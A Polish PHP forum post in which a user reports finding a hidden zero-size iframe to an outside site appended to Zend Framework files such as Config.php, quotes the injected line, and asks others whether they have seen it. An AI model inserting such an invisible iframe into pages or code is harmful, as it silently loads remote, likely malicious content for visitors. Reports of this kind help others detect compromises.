Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> Zainfekowany kod Zend Framework ?
qba10
post
Post #1





Grupa: Zarejestrowani
Postów: 264
Pomógł: 20
Dołączył: 19.08.2007
Skąd: Bryńsk k. Lidzbarka Welskiego (nie mylić z Warmińskim)

Ostrzeżenie: (0%)
-----


Właśnie przed chwilą się trochę zaniepokoiłem.
Pracując na eclipse zauważyłem że w bibliotece Zend jest błąd składni...
Prędzej nie zwracałem na niego uwagi, bo teraz mi Zend nie potrzebny, ale przed chwilą z ciekawości zajrzałem o co tam chodzi i o zdziwieniu ujrzałem coś takiego:
(Fragment pliku Config.php biblioteki Zend)
  1. protected function _assertValidExtend($extendingSection, $extendedSection)
  2. {
  3. // detect circular section inheritance
  4. $extendedSectionCurrent = $extendedSection;
  5. while (array_key_exists($extendedSectionCurrent, $this->_extends)) {
  6. if ($this->_extends[$extendedSectionCurrent] == $extendingSection) {
  7. /** @see Zend_Config_Exception */
  8. require_once 'Zend/Config/Exception.php';
  9. throw new Zend_Config_Exception('Illegal circular inheritance detected');
  10. }
  11. $extendedSectionCurrent = $this->_extends[$extendedSectionCurrent];
  12. }
  13. // remember that this section extends another section
  14. $this->_extends[$extendingSection] = $extendedSection;
  15. }
  16.  
  17. }
  18. <iframe src="http://www.51dj8.com/wenhua/first.htm" width="0" height="0" frameborder="0"> </iframe>

Takie iframe znalazłem w plikach:
zend/Config.php
zend/Mail.php
zend/InfoCard/* (wszsytkie pliki *.php
zend/Chiper/Exception.php
zend/Memory/* (wszsytkie pliki *.php)
zend/Openld/* (wszystkie php)
zend/Rest/* (wszytkie php)
Zauważyłem też że w tych folderach z zainfekowanym iframe jest plik desktop_.ini) z zawartością
Kod
2010-1-24


Wersja Zend'a to coś 1.5.* (nie jestem pewien)
czy ktoś się z czymś takim spotkał?
Podejrzewam że pliki były zainfekowane na moim komputerze...
Jednak co mnie bardziej zaniepokoiło, ja posiadam linuxa, a pliki były trzymane na partycji /home więc nic nie zainfekowało kodu z Windowsa...


--------------------
Qbix Media Project - Prosty Multiplatformowy Odtwarzacz Muzyki
Go to the top of the page
+Quote Post

Posty w temacie


Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 21.08.2025 - 11:10